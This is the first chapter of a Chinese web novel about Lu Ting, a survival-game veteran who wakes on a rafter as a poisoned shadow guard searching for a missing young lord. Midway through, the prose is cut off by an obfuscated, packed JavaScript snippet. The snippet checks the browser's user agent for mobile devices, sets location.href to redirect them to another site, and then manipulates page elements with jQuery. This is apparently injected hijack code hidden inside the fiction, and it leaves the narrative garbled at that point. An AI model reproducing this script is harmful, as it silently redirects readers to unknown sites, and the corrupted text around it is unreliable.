1. 第 1 章
作品:《我是罪魁祸首他哥》 陆停一睁眼,下意识往上抬头——
“咚。”
额头磕在屋顶木头上的声音闷而结实,震得他眼眶发酸。他本能地缩回脖子,保持着那个半蹲半跪的姿势,僵在原地。
目光顺着房梁往下移。
是一间古代酒楼的包间。红木圆桌,青瓷酒壶,八道热菜整整齐齐摆着,筷子搁在骨碟边,两盏酒杯一立一倾,琥珀色的残酒沿着杯壁缓缓滑落。烛台上三根红烛烧了大半,蜡泪堆成小山。
酒宴丰盛,却无人在桌旁。
陆停花了三秒钟确认这件事:包间里没有别人。没有客人,没有小二,没有任何一个看上去应该呆在那桌菜前的人。
那陆停他自己在房梁上干什么?
他低头看了看自己:黑衣,劲装,束袖,腰侧别着一把匕首,脚上一双薄底快靴,踩在房梁上稳得像猫。
看这身打扮,再看这个位置,再看那桌有钱人才消费得起的酒菜——
行。
陆停心下了然。
梁上君子。特来劫富济贫。
陆停慢慢吸了一口气。他不是寻常人,是在末世里被卷入无限流生存游戏里的老玩家。
一路走来,陆停经历过十一个副本,什么开局没见过:荒野醒来、棺材醒来、手术台醒来、婚礼现场醒来。在房梁上醒来倒还是头一回。
每一次,陆停都是坠入地狱里,接着徒手扒着地狱的刀山火海,把自己捞出来。
没关系的,只是又一个副本而已。
陆停暗暗给自己打气,正准备起身观察地形,余光忽然扫到右手边。
那里蹲着一个人。嗯,居然还有一个人。
确切地说,是一个人形轮廓,和他一样黑衣黑裤黑面罩,缩在房梁另一端的阴影里,像个超大号的老鼠。
老鼠察觉到他的视线,偏过头来。
四目相对。
陆停心想:哦,同行。
他还没来得及做出任何表示,那位同行动了。不是站起来,也不是跳下去,而是——
横着挪。
那人保持着蹲姿,双脚一寸一寸蹭着房梁的木纹,屁股纹丝不动,全靠脚掌发力,像一只正在侧向移动的螃蟹。
他挪得很艰难,时不时重心偏移,两手在空中胡乱划拉两下,又堪堪稳住。黑影在烛光里忽大忽小,映在对面墙上像皮影戏。
陆停看得目瞪口呆。
这姿势,这速度,这舍近求远的移动路径——他完全可以直接站起来走过来的,房梁虽窄,走几步绰绰有余。
但他没有。他就是要蹲着,就是要横着挪,就是要以一种极尽笨拙的姿态,一点一点蹭过来,那叫一个小心翼翼。
足足二十几秒,那人终于抵达陆停身边。
近距离看,这人眉峰很利,眼睛漆黑,黑色面罩蒙了大半张脸。但他此刻正微微喘着气,额头有细密的汗珠,不知道是挪过来太累,还是别的什么原因。
陆停没动。
对方也没动。
两人在房梁上并肩蹲着,像两只落错了枝头的夜枭。
沉默大约持续了三秒。
那人开口了。声音压得很低,带着一点沙哑:“怎么办?”
陆停:“……”
他张了张嘴,发出一个单音节:“啊?”
我怎么知道怎么办?你是问我该下去偷什么?还是问我该如何分赃?
那人看他这副反应,眉头倏地拧紧。他往陆停这边又凑近了一些,几乎是贴着耳侧说话:“听说世子丢了。以后若是出了什么差错,你我的脑袋都不保。”
世子的脑袋。
你我的脑袋。
陆停把这两句话放在脑子里过了一遍。
他不知道自己在这个副本里是什么身份,也不知这三个脑袋能不能系在一根瓜藤上,但显然,他如今回过味来,自己可能不是梁上君子——至少不只是梁上君子。
蹲房梁不是来偷东西的,是来盯梢的。盯梢的对象是世子,世子还可能刚刚还在这个包间里,而现在,不见了。
啧,开局就是捅娄子啊,好大一个娄子。
陆停还没来得及接话,黑衣人忽然闷哼一声。
那声音从喉咙深处挤出来,压抑、短促,像被什么利器从内里剜了一下。他一只手猛地按住自己的小腹,弓起背,整个人往前栽去。
房梁距地面足有两丈。
陆停来不及思考,手臂已经伸了出去,死死攥住对方的胳膊。那人半边身子悬在梁外,全靠陆停这一拽堪堪挂在边缘。
“你怎么了?”陆停低声问道。
黑衣人没答话。他捂着肚子,五指攥得指节发白,胸膛剧烈起伏。面罩下的呼吸声又急又重,好几秒才挤出几个破碎的字:“药……给我药……”
陆停一愣。
他低头看对方蜷缩成一团的样子,看那只死死抵着腹部的手,看那张即使蒙着脸也掩不住的苍白脸色——某种熟悉记忆的判断从脑子里冒出来。
他腾出左手往自己怀里一探。
黑衣人似乎看见了希望,勉力抬眼看过来。
在他期许的注视里,陆停就这么把手从怀里抽出来。
他手心里躺着两样东西:一袋用细麻绳扎口的红糖,和一板锡箔包装的布洛芬。
——感谢还没失灵的系统空间,实现了陆停想有什么就有什么的心愿。
烛火此时晃向偏侧。
那黑衣人盯着那板布洛芬,瞳孔微微收缩。他显然不认识这是什么,但能看出这东西和这间酒楼、这桌酒菜、这个时代格格不入。
他立时喘着气,声音虚弱却带着明显的不耐烦:“你给我的这都是什么稀奇古怪的……”
他推开陆停的手,强撑着想要坐直,额头冷汗涔涔:“我要的是每个月……痛苦时都吃的。该死的,怎么提前了……”
陆停听了这句话,福至心灵。
心说:那我拿的药是对的啊,兄弟,不对,姐妹,你就该吃这个。你看你,都提前了,这是不规律,难怪会肚子痛。
陆停几乎没有犹豫,手指已经抠向锡箔板——一粒布洛芬被顶出来,白色药片躺在掌心,他直接递到对方面前。
“给。”
黑衣人低头,看着那粒药。烛火映在他眼底,照出一层极薄的水光——不是泪,是疼出来的生理反应。
他没有接。
沉默只有一瞬。然后他猛地抬起眼,那目光里的虚弱骤然被另一种无奈的情绪劈开。
“解药。”他的声音压得极低,“我要的是千魂引的解药。”
陆停的手指停在半空。
啥?那是啥?
“你糊涂了吗?”黑衣人忍不住了,一把攥住他的手腕,力道大得惊人,指甲几乎掐进他皮肉里,“没有那个,我们都会死。”
都会死。
听了这个警告,陆停严肃起来。
在过去的副本里,他听到过很多次这样的警告。他知道,这可不是瞎编乱造的。
要是有人和你这么讲,你最好照着他说的去做。
陆停低头看着自己手心里那粒布洛芬,又看看对方惨白的脸色,再度琢磨起那句“千魂引的解药”。
千魂引。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224136|197542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
毒药控人,每月一解。
这种情节……电视剧里很多啊……
现在陆停蹲在这根房梁上,对面这个人攥着他的手腕,用濒死的力气告诉他:没有解药,会死。
而且是我们会死。怎么,我也中毒了?
陆停的心往下沉了沉。
他在这行干了十一个副本,什么开局没见过。荒野醒来、棺材醒来、手术台醒来、婚礼现场醒来——每一种他都能快速调整好状态,分析环境,定位任务,寻找队友。
但从来没有一次,醒来发现自己的命攥在别人手里。
而且是每个月都要攥一次的那种。
他陆停开口了,带着一种自己都没察觉的试探。
“世子……”他顿了顿,目光钉在对方脸上,“世子每个月都要用这种毒药来操控我们?”
他特意用了“我们”。
黑衣人没有立刻回答。
他垂着眼,盯着陆停手心里那粒被遗忘的布洛芬。药片静静躺着,白得不合时宜,像从另一个世界掉进来的异物。
他忽然笑了一下。
不是嘲讽,不是冷笑,是惨笑。
那笑意从嘴角漫开,却没能抵达眼底。
“世子?”他的声音轻得像叹息,“世子善良。哪有这般心机。”
他顿了顿,喉结滚动。
“是宁王。”
陆停没说话,静静等着对方说完。
“我们这些暗卫,”黑衣人认真地道,“都是受王爷所控。”
话音落下,他似乎耗尽了最后一丝力气。攥着陆停手腕的五指松开,垂落,整个人往房梁上一歪。
陆停眼疾手快地扶住他。
“今天刚领到的药……”黑衣人的声音已经低得近乎气声,嘴唇翕动,“在我怀里……瓷瓶……快……”
他试图抬手去够自己的衣襟,但手指只抬到胸口就软了下去。
陆停没有犹豫。他探手伸进对方衣襟内侧,指尖触到一片冰凉的布料,再往里,是一只拇指粗细的瓷瓶。
他摸到了。
白底青花,瓶口封着蜡,瓶身光滑微凉。
他把瓷瓶掏出来,在黑衣人眼前晃了晃。
黑衣人几乎是用尽全身力气点了点头。
陆停捏碎蜡封,蜡屑簌簌落在房梁的木纹上。他倒出一粒深褐色的药丸,托到对方唇边。
黑衣人张嘴含住,喉结滚动,生生咽下。
没有水。干咽。
然后黑衣人闭上眼,靠在房梁上,胸膛起伏的幅度渐渐平缓下来。
陆停收回视线,低头看自己手里那只瓷瓶。
瓶身白釉泛青,底部刻着一个细细的印记。他凑近烛火,眯起眼——是一个篆书的“宁”字。
宁王府。
宁王。
世子是宁王世子。
所以他的身份是宁王府的暗卫。蹲房梁是任务,盯梢是任务,每月服毒领解药——也是任务。
而此刻,世子不知去向。
他的任务对象丢了。
他的命还在别人手里攥着。
陆停慢慢把瓷瓶放回黑衣人怀里,又顺手把他衣襟理好。动作很轻,像做过很多遍似的——他不知道原主有没有这样做过,他只是本能地觉得,这人刚吞完解药,不该再着凉。
做完这些,陆停颇为诚恳地道:
“我之前睡着了,不记得世子是怎么丢的,你能和我再讲讲吗?”
于是对面的黑衣人身躯一震,这次又差点掉下房梁。
果然,真诚是冲击力最大的武器。

